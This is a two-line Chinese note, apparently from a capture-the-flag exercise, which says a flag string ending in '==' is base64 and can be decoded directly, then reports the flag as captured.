字符串flag=”xxx”末尾是双等号,base64,直接解码看看

成功夺旗!










